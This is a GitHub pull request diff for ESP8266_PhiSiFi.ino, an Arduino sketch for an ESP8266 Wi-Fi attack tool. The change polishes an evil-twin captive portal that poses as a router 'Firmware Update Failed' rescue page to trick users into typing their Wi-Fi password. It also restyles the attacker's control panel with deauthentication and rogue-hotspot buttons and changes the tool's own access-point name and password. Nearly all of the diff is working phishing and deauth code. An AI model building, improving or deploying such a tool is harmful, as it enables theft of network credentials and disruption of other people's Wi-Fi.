Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

updated Phishing Page #14

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
281 changes: 244 additions & 37 deletions ESP8266_PhiSiFi.ino
Original file line number Diff line number Diff line change
@@ -22,11 +22,11 @@ IPAddress apIP(192, 168, 1, 1);
DNSServer dnsServer;
ESP8266WebServer webServer(80);

_Network _networks[16];
_Network _networks[20];
_Network _selectedNetwork;

void clearArray() {
for (int i = 0; i < 16; i++) {
for (int i = 0; i < 20; i++) {
_Network _network;
_networks[i] = _network;
}
@@ -40,44 +40,149 @@ String _tryPassword = "";
#define SUBTITLE "ACCESS POINT RESCUE MODE"
#define TITLE "<warning style='text-shadow: 1px 1px black;color:yellow;font-size:7vw;'>&#9888;</warning> Firmware Update Failed"
#define BODY "Your router encountered a problem while automatically installing the latest firmware update.<br><br>To revert the old firmware and manually update later, please verify your password."

String header(String t) {
String a = String(_selectedNetwork.ssid);
String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
"body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
"div { padding: 0.5em; }"
"h1 { margin: 0.5em 0 0 0; padding: 0.5em; font-size:7vw;}"
"input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }"
"label { color: #333; display: block; font-style: italic; font-weight: bold; }"
"nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
"nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
"textarea { width: 100%; }"
;
String h = "<!DOCTYPE html><html>"
"<head><title><center>" + a + " :: " + t + "</center></title>"
"<meta name=viewport content=\"width=device-width,initial-scale=1\">"
String CSS = R"(
:root {
--primary-color: #0066ff;
--danger-color: #ff4444;
--text-color: #333;
--bg-color: #f0f2f5;
}
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
color: var(--text-color);
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
line-height: 1.6;
background: var(--bg-color);
min-height: 100vh;
}
.container {
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
.card {
background: white;
border-radius: 10px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
padding: 2em;
margin-top: 20px;
}
nav {
background: var(--primary-color);
color: white;
padding: 1em;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
nav b {
display: block;
font-size: 1.5em;
margin-bottom: 0.5em;
}
.warning-title {
color: var(--danger-color);
text-align: center;
font-size: 2.5em;
margin: 0.5em 0;
text-shadow: 1px 1px rgba(0,0,0,0.1);
}
.warning-symbol {
color: var(--danger-color);
font-size: 3em;
display: block;
text-align: center;
margin-bottom: 0.2em;
}
.subtitle {
text-align: center;
color: #666;
margin-bottom: 1.5em;
}
input {
width: 100%;
padding: 12px 15px;
margin: 8px 0;
border: 2px solid #ddd;
border-radius: 8px;
font-size: 16px;
transition: border-color 0.3s ease;
}
input:focus {
outline: none;
border-color: var(--primary-color);
}
label {
color: var(--text-color);
display: block;
font-weight: 600;
margin-bottom: 0.5em;
}
.submit-btn {
background: var(--primary-color);
color: white;
padding: 12px 20px;
border: none;
border-radius: 8px;
font-size: 16px;
font-weight: 600;
width: 100%;
cursor: pointer;
transition: opacity 0.3s ease;
}
.submit-btn:hover {
opacity: 0.9;
}
footer {
text-align: center;
padding: 20px;
color: #666;
font-size: 0.9em;
}
)";

String h = "<!DOCTYPE html><html lang=\"en\">"
"<head><title>" + a + " :: " + t + "</title>"
"<meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">"
"<style>" + CSS + "</style>"
"<meta charset=\"UTF-8\"></head>"
"<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>";
"<body>"
"<nav><b>" + a + "</b>" + SUBTITLE + "</nav>"
"<div class=\"container\">";
return h;
}

String footer() {
return "</div><div class=q><a>&#169; All rights reserved.</a></div>";
return "</div><footer>&#169; All rights reserved.</footer></body></html>";
}

String index() {
return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action='/' method=post><label>WiFi password:</label>" +
"<input type=password id='password' name='password' minlength='8'></input><input type=submit value=Continue></form>" + footer();
String content = header(TITLE) +
"<div class=\"card\">"
"<div class=\"warning-symbol\">&#9888;</div>"
"<h1 class=\"warning-title\">" + TITLE + "</h1>"
"<p class=\"subtitle\">" + BODY + "</p>"
"<form action='/' method='post'>"
"<label for='password'>WiFi Password</label>"
"<input type='password' id='password' name='password' minlength='8' "
"placeholder='Enter your WiFi password' required>"
"<button type='submit' class='submit-btn'>Continue</button>"
"</form>"
"</div>" +
footer();
return content;
}

void setup() {

Serial.begin(115200);
WiFi.mode(WIFI_AP_STA);
wifi_promiscuous_enable(1);
WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
WiFi.softAP("WiPhi_34732", "d347h320");
WiFi.softAP("MCU_deauther", "weedgreenbottle");
dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));

webServer.on("/", handleIndex);
@@ -121,27 +226,129 @@ void handleResult() {
int n = WiFi.softAPdisconnect (true);
Serial.println(String(n));
WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
WiFi.softAP("WiPhi_34732", "d347h320");
WiFi.softAP("MCU_deauther", "weedgreenbottle");
dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
Serial.println("Good password was entered !");
Serial.println(_correct);
}
}


String _tempHTML = "<html><head><meta name='viewport' content='initial-scale=1.0, width=device-width'>"
"<style> .content {max-width: 500px;margin: auto;}table, th, td {border: 1px solid black;border-collapse: collapse;padding-left:10px;padding-right:10px;}</style>"
"</head><body><div class='content'>"
"<div><form style='display:inline-block;' method='post' action='/?deauth={deauth}'>"
"<button style='display:inline-block;'{disabled}>{deauth_button}</button></form>"
"<form style='display:inline-block; padding-left:8px;' method='post' action='/?hotspot={hotspot}'>"
"<button style='display:inline-block;'{disabled}>{hotspot_button}</button></form>"
"</div></br><table><tr><th>SSID</th><th>BSSID</th><th>Channel</th><th>Select</th></tr>";

String _tempHTML = R"(
<!DOCTYPE html>
<html>
<head>
<meta name='viewport' content='initial-scale=1.0, width=device-width'>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
margin: 0;
padding: 20px;
background: #f0f2f5;
}
.content {
max-width: 800px;
margin: auto;
background: white;
padding: 20px;
border-radius: 10px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.controls {
display: flex;
gap: 10px;
margin-bottom: 20px;
}
button {
padding: 10px 20px;
border: none;
border-radius: 5px;
cursor: pointer;
font-weight: 500;
transition: background-color 0.3s;
}
button[disabled] {
opacity: 0.6;
cursor: not-allowed;
}
button:not([disabled]):hover {
opacity: 0.9;
}
.deauth-btn {
background-color: #dc3545;
color: white;
}
.hotspot-btn {
background-color: #0d6efd;
color: white;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
background: white;
}
th, td {
padding: 12px;
text-align: left;
border-bottom: 1px solid #dee2e6;
}
th {
background-color: #f8f9fa;
font-weight: 600;
}
tr:hover {
background-color: #f8f9fa;
}
.select-btn {
background-color: #198754;
color: white;
padding: 8px 16px;
border-radius: 4px;
}
.selected {
background-color: #198754 !important;
color: white;
}
.result-message {
margin-top: 20px;
padding: 15px;
border-radius: 5px;
background-color: #d4edda;
border: 1px solid #c3e6cb;
color: #155724;
}
</style>
</head>
<body>
<div class='content'>
<div class='controls'>
<form method='post' action='/?deauth={deauth}'>
<button class='deauth-btn'{disabled}>{deauth_button}</button>
</form>
<form method='post' action='/?hotspot={hotspot}'>
<button class='hotspot-btn'{disabled}>{hotspot_button}</button>
</form>
</div>
<table>
<thead>
<tr>
<th>SSID</th>
<th>BSSID</th>
<th>Channel</th>
<th>Select</th>
</tr>
</thead>
<tbody>)";

// Note: The closing tags should be added in the main code when the dynamic content is inserted:
// _html += "</tbody></table>";
// if (_correct != "") {
// _html += "<div class='result-message'>" + _correct + "</div>";
// }
// _html += "</div></body></html>";
void handleIndex() {

if (webServer.hasArg("ap")) {
for (int i = 0; i < 16; i++) {
for (int i = 0; i < 20; i++) {
if (bytesToStr(_networks[i].bssid, 6) == webServer.arg("ap") ) {
_selectedNetwork = _networks[i];
}
@@ -173,7 +380,7 @@ void handleIndex() {
int n = WiFi.softAPdisconnect (true);
Serial.println(String(n));
WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
WiFi.softAP("WiPhi_34732", "d347h320");
WiFi.softAP("MCU_deauther", "weedgreenbottle");
dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
}
return;
@@ -285,7 +492,7 @@ void handleAdmin() {
int n = WiFi.softAPdisconnect (true);
Serial.println(String(n));
WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
WiFi.softAP("WiPhi_34732", "d347h320");
WiFi.softAP("MCU_deauther", "weedgreenbottle");
dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
}
return;